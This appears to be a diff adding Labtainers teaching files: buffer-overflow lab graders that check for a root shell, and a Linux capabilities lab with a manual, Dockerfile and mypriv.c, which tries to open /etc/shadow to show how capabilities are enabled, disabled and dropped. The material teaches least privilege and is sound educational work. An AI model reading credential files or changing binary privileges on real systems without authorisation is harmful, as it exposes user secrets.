\textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{8in}{\small Copyright \copyright\ 2006 - 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006 - 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by three grants from + the US National Science Foundation: Awards No. 0231122 and 0618680 from + TUES/CCLI and Award No. 1017771 from Trustworthy Computing. + This lab was imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeB}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006 - 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 0231122, 0618680, and 1303306. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/read_first.txt new file mode 100644 index 000000000..c09a7b96b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/docs/read_first.txt @@ -0,0 +1,6 @@ +Buffer Overflow Lab -- Read this first + +The lab manual for this lab is at: +file://LAB_DOCS/bufoverflow.pdf +Right click on the above link to open the lab manual. + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/goals.config new file mode 100644 index 000000000..a5de3ad7f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/goals.config @@ -0,0 +1,17 @@ +# goals.config +# +# Please see ..../docs/goals.config.format + +# The following are meant for buffer overflow vulnerability lab + +#DOC: Did the student get a root shell & display the /root/.secret file? +gain_root_priv = matchany : string_equal : rootsecret : parameter.roothash + +_aslron = matchany : integer_equal : aslr_setting : answer=2 +_looproot = matchany : string_equal : whilesecret : parameter.roothash +#DOC: Did the student get a root shell & display /root/.secret with ASLR enabled? +while_get_root = boolean : ( _aslron and _looproot ) + +# DOC: Experimented with enabling stack guard? +stack_protect = matchany : string_equal : crashStringCanary : answer=smashing + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/results.config new file mode 100644 index 000000000..08927ff55 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/bufoverflow/instr_config/results.config @@ -0,0 +1,12 @@ +# results.config +# +# Please see ..../docs/results.config.format + +# The following are meant for buffer overflow vulnerability lab + +rootsecret = stack.stdout : 6 : STARTSWITH : My ROOT secret string is: + +aslr_setting = precheck.stdout : 3 : STARTSWITH : kernel.randomize_va_space +whilesecret = whilebash.sh.stdout : 6 : STARTSWITH : My ROOT secret string is: +crashStringCanary = stack.stdout : 3 : STARTSWITH : *** stack smashing detected + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/fixlocal.sh new file mode 100755 index 000000000..6b022e130 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/fixlocal.sh @@ -0,0 +1,9 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/forcecheck b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/forcecheck new file mode 100644 index 000000000..ad8157877 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/forcecheck @@ -0,0 +1,2 @@ +/bin/ping +/usr/bin/tcpdump diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/precheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/precheck.sh new file mode 100644 index 000000000..9faf461c0 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/precheck.sh @@ -0,0 +1,5 @@ +#!/bin/bash +if [[ ! -z "$1" ]] && [[ -f "$1" ]]; then + ls -l $1 + getcap $1 +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/treataslocal b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/treataslocal new file mode 100644 index 000000000..3789595be --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_bin/treataslocal @@ -0,0 +1 @@ +passwd diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/build.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/build.sh new file mode 100755 index 000000000..5d4584eaf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/build.sh @@ -0,0 +1,2 @@ +gcc -c mypriv.c +gcc -o mypriv mypriv.o -lcap diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/mypriv.c b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/mypriv.c new file mode 100644 index 000000000..80dd676a4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/capabilities/mypriv.c @@ -0,0 +1,91 @@ +/* mypriv.c +Simple example of dropping privileges within a +program that has been granted the +CAP_DAC_READ_SEARCH capability. +*/ +#include +#include +#include +#include +#include +#include +#include +int cap_disable(cap_value_t capflag); +int cap_enable(cap_value_t capflag); +int cap_drop(cap_value_t capflag); +int is_cap_set(cap_value_t capflag); +int main(void) +{ + if (is_cap_set(CAP_DAC_READ_SEARCH) == 0) { + printf("CAP_DAC_READ_SEARCH capability is not set for this program\n"); + return -1; + } + if (open ("/etc/shadow", O_RDONLY) < 0) + printf("(a) Open failed\n"); + /* Question (a): is the above open sucessful? why? */ + if (cap_disable(CAP_DAC_READ_SEARCH) < 0) return -1; + if (open ("/etc/shadow", O_RDONLY) < 0) + printf("(b) Open failed\n"); + /* Question (b): is the above open sucessful? why? */ + if (cap_enable(CAP_DAC_READ_SEARCH) < 0) return -1; + if (open ("/etc/shadow", O_RDONLY) < 0) + printf("(c) Open failed\n"); + /* Question (c): is the above open sucessful? why?*/ + if (cap_drop(CAP_DAC_READ_SEARCH) < 0) return -1; + if (open ("/etc/shadow", O_RDONLY) < 0) + printf("(d) Open failed\n"); + /* Question (d): is the above open sucessful? why?*/ + if (cap_enable(CAP_DAC_READ_SEARCH) == 0) return -1; + if (open ("/etc/shadow", O_RDONLY) < 0) + printf("(e) Open failed\n"); + /* Question (e): is the above open sucessful? why?*/ +} +int is_cap_set(cap_value_t capflag) +{ + cap_t mycaps; + mycaps = cap_get_proc(); + cap_flag_value_t cap_flags_value; + cap_get_flag(mycaps, capflag, CAP_EFFECTIVE, &cap_flags_value); + if(cap_flags_value == CAP_SET) + return 1; + else + return 0; +} +int cap_disable(cap_value_t capflag) +{ + cap_t mycaps; + mycaps = cap_get_proc(); + if (mycaps == NULL) + return -1; + if (cap_set_flag(mycaps, CAP_EFFECTIVE, 1, &capflag, CAP_CLEAR) != 0) + return -1; + if (cap_set_proc(mycaps) != 0) + return -1; + return 0; +} +int cap_enable(cap_value_t capflag) +{ + cap_t mycaps; + mycaps = cap_get_proc(); + if (mycaps == NULL) + return -1; + if (cap_set_flag(mycaps, CAP_EFFECTIVE, 1, &capflag, CAP_SET) != 0) + return -1; + if (cap_set_proc(mycaps) != 0) + return -1; + return 0; +} +int cap_drop(cap_value_t capflag) +{ + cap_t mycaps; + mycaps = cap_get_proc(); + if (mycaps == NULL) + return -1; + if (cap_set_flag(mycaps, CAP_EFFECTIVE, 1, &capflag, CAP_CLEAR) != 0) + return -1; + if (cap_set_flag(mycaps, CAP_PERMITTED, 1, &capflag, CAP_CLEAR) != 0) + return -1; + if (cap_set_proc(mycaps) != 0) + return -1; + return 0; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/about.txt new file mode 100644 index 000000000..9ec4a861e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/about.txt @@ -0,0 +1 @@ +Use of Linux capabilites to limit program privileges. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/start.config new file mode 100644 index 000000000..cf57e0314 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/config/start.config @@ -0,0 +1,66 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER capabilities + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED capabilities_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER capabilities + # user name of user who interacts with the container. + USER ubuntu + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + #TERMINALS 1 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + # SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + # X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/dockerfiles/Dockerfile.capabilities.capabilities.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/dockerfiles/Dockerfile.capabilities.capabilities.student new file mode 100644 index 000000000..1a1ecbc3f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/dockerfiles/Dockerfile.capabilities.capabilities.student @@ -0,0 +1,66 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +RUN apt-get update && apt-get install libcap-dev +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/Capability_Exploration.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/Capability_Exploration.tex new file mode 100644 index 000000000..c6580cba5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/Capability_Exploration.tex @@ -0,0 +1,260 @@ +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +% Copyright (c) 2006 Wenliang Du, Syracuse University. +% The development of this document is funded by Grant DUE-0231122 +% from the National Science Foundation. Permission is granted +% to copy, distribute and/or modify this document under the terms +% of the GNU Free Documentation License, Version 1.2 or any later +% version published by the Free Software Foundation. A copy of the +% license can be found at http://www.gnu.org/licenses/fdl.html. +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +\input{header} + +\begin{document} + +\begin{center} +{\LARGE Linux Capability Exploration Lab} +\end{center} + +\copyrightnotice + +\section{Lab Description} + +The learning objective of this lab is for students +to gain first-hand experiences on the +use of capabilities to achieve the principle of least privilege. +This lab is based on POSIX 1.e capabilities, which is implemented in +recent versions of \linux kernel. + +Capability based systems are sometimes promoted as an access control +strategy in contrast to the use of Access Control Lists (ACLs) or +Unix file permissions. In practice, Linux systems typically use +capabilities to limit program privilege rather than to control +access to named objects. This lab focuses on the use of capabilities +to limit privilege. + +\section{Lab Environment} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer capabilities +\end{verbatim} +Links to this lab manual and to an empty lab report will be displayed. If you create your lab report on a separate system, +be sure to copy it back to the specified location on your Linux system. + +\vspace{0.1in} +\noindent +For this lab, you need to get familiar with the +following commands that come with {\tt libcap}: +\begin{itemize} +\item {\tt setcap}: assign capabilities to a file. +\item {\tt getcap}: display the capabilities that carried by a file. +\item {\tt getpcaps}: display the capabilities carried by a process. +\end{itemize} + +\section{Lab Tasks} + +In a capability system, when a program is executed, its corresponding +process is initialized with a list of capabilities (tokens). +When the process tries to access an object, +the operating system checks the process' capabilities, +and decides whether to grant the access or not. + + +\subsection{Task 1: Experiencing Capabilities} + +In operating systems such a Linux, there are many privileged operations that can +only be conducted by privileged users. Examples of privileged +operations include configuring network interface cards, backing +up all the user files, shutting down the computers, etc. +Without capabilities, these operations can only be carried out +by superusers, who often have more privileges than are +needed for the intended tasks. Therefore, letting superusers +perform these privileged operations is a violation of +the {\em Least-Privilege Principle}. + +Privileged operations are necessary in Linux and other Unix based +operating systems. +All \setuid programs involve privileged operations that cannot +be performed by normal users. To allow normal users to run +these programs, \setuid programs turn normal users into +powerful users (e.g. root) temporarily, even though +the involved privileged operations do not need all privileges +provided to superuser. +This is dangerous: if the program is compromised, adversaries +might get the root privilege. + +Capabilities divide the root privilege into a set of +distinct privileges. Each of these privileges is called +a capability. With capabilities, we do not need to be a +superuser to conduct privileged operations. +All we need is to have the capabilities that are needed for +the privileged operations. Therefore, even if a privileged program +is compromised, adversaries can only get limited power. This +way, the risks of privileged program can be reduced. + +Capabilities has been implemented in \linux for quite some time, +but they could only be assigned to processes. +Since kernel version {\tt 2.6.24}, capabilities can be assigned to +files (i.e., programs) and turn those programs into privileged programs. +When a privileged program is executed, the running process will carry +those capabilities that are assigned to the program. In some sense, +this is similar to the \setuid files, but the major difference is the +amount of privileged carried by the running processes. + +We will use an example to show how capabilities can be used to +remove unnecessary privileges assigned to certain privileged programs. +First, as the unprivileged ubuntu user, run the following command: +\begin{verbatim} +% ping www.google.com +\end{verbatim} + +The program should run successfully. If you look at the file attributes +of the program {\tt /bin/ping}, you will see that {\tt ping} +it is a \setuid program with the owner being root, i.e., when you +execute {\tt ping}, your effective user id becomes root, and the running +process therefore runs with root privileges. If there are vulnerabilities in {\tt ping}, +the entire system can be compromised. Using capabilities, we can +remove unnecessary privileges from {\tt ping}. + +First, let us turn {\tt /bin/ping} into a non-\setuid +program. This can be done via the following command: +\begin{verbatim} + sudo chmod u-s /bin/ping +\end{verbatim} + +Now, run {\tt 'ping www.google.com'}, and see what happens. +The command should fail. This is because {\tt ping} needs +to open a RAW socket, which is a privileged operation that can only be +conducted by root (before capabilities are implemented). That is why +{\tt ping} has to be a \setuid program. Let us only assign the {\tt cap\_net\_raw} +capability to {\tt ping}, and see what happens: + +\begin{Verbatim}[frame=single] + sudo setcap cap_net_raw=ep /bin/ping + ping www.google.com +\end{Verbatim} + +\subsubsection{Task 1.1 Allow unprivileged users to run tcpdump} +In addition to reducing privileges associated with setuid programs, +capabilities can be used to allow unprivileged users to run +selected programs without granting those users sudo privileges. +A common example is the \texttt{/usr/bin/tcpdump} program. In +other Labtainer exercises, we use tcpdump to capture network +traffic, however we do that but running +\begin{Verbatim}[frame=single] + sudo tcpdump +\end{Verbatim} + +Modify the tcpdump program so that an unprivileged user can run it. + +\subsubsection{Task 1.2 Convert passwd to use capabilities} +Some setuid programs require several different capabilities +to operate. The file: {\tt /usr/include/linux/capability.h} % prepended /usr/ +describes the various capabilities available in Linux. + +The \texttt{/usr/bin/passwd} program requires the following +capabilities to operate: + +\begin{Verbatim}[frame=single] + cap_chown + cap_dac_override + cap_fowner +\end{Verbatim} + +Modify the \texttt{passwd} program to use capabilities instead of setuid, +then demonstrate that it still works by changing the ubuntu user password +(which initially is \texttt{ubuntu}). + + + + +\subsection{Task 2: Adjusting Privileges} + +With capabilities, it is possible to dynamically adjust the amount of privileges +a process has, which is consistent with the principle of least privilege. +For example, when a privilege is no longer needed in a process, +we should allow the process to permanently remove the capabilities +relevant to this privilege. Therefore, +even if the process is compromised, attackers will not be able to +gain these deleted capabilities. +Adjusting privileges can be achieved using the following +capability management operations. +\begin{enumerate} + \item {\em Deleting:} A process can permanently delete a capability. + \item {\em Disabling:} A process can temporarily disable a capability. + Unlike deleting, disabling is only temporary; the process + can later enable it. + \item {\em Enabling:} A process can enable a capability that is temporarily disabled. + A deleted capability cannot be enabled. +\end{enumerate} + +Without capabilities, a privileged \setuid program can also +delete/disable/enable its own privileged. This is done via +the {\tt setuid()} and {\tt seteuid()} system calls; namely, a process +can change its effective user id during the run time. The +granularity is quite coarse using these system calls, because you can either +be the privileged users (e.g. root) or a non-privileged users. +With capabilities, the privileges can be adjusted in a much +finer fashion, because each capability can be independently adjusted. + +To support dynamic capability adjustment, \linux uses a mechanism similar +to the \setuid mechanism, i.e., a process carries three capability sets: +permitted (P), inheritable (I), and effective (E). +The permitted set consists of the capabilities that the process is permitted +to use; however, this set of capabilities might not be active. +The effective set consists of those capabilities that the process can currently +use (this is like the effective user uid in the \setuid mechanism). +The effective set must always be a subset of the permitted set. +The process can change the contents of the effective set at any time as long as the +effective set does not exceed the permitted set. The inheritable set is used +only for calculating the new capability sets after {\tt exec()}, i.e., +which capabilities can be inherited by the children processes. + +Review the \texttt{mypriv.c} program in the home directory. Answer the +questions embedded in the source code of the program. Then use the +\texttt{build.sh} script to compile and link the program. Then use \texttt{setcap} +to set the \texttt{CAP\_DAC\_READ\_SEARCH} capability, and run the program. +Compare the results to what you expected. + +After you finish the above task, please answer the following questions: +\begin{itemize} +\item \myquestion After a program (running as normal user) disables a capability A, +it is compromised +by a buffer-overflow attack. The attacker successfully injects his malicious +code into this program's stack space and starts to run it. Can this attacker use +the capability A? What if the process deleted the capability, can the attacker +uses the capability? + +\item \myquestion The same as the previous question, except replacing the +buffer-overflow attack with the race condition attack. Namely, if +the attacker exploits the race condition in this program, can he use the +capability A if the capability is disabled? What if the capability is +deleted? + + +\end{itemize} + + +\section{Submission} + +You need to submit a detailed lab report to describe what you have +done and what you have observed; you also need to provide explanation +to the observations that are interesting or surprising. In your report, +you need to answer all the questions listed in this lab. + +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab capabilities +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + + + +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/Makefile new file mode 100644 index 000000000..74873d149 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/Makefile @@ -0,0 +1,8 @@ +capabilities.pdf: Capability_Exploration.tex Capability_Exploration.tex header.tex + latex Capability_Exploration + pdflatex -jobname=capabilities Capability_Exploration + pdflatex -jobname=capabilities Capability_Exploration + +clean: + rm -fr auto + rm -f Capability_Exploration.aux Capability_Exploration.log capabilities.pdf diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/header.tex new file mode 100644 index 000000000..feb73a788 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/capabilities/docs/header.tex @@ -0,0 +1,193 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf 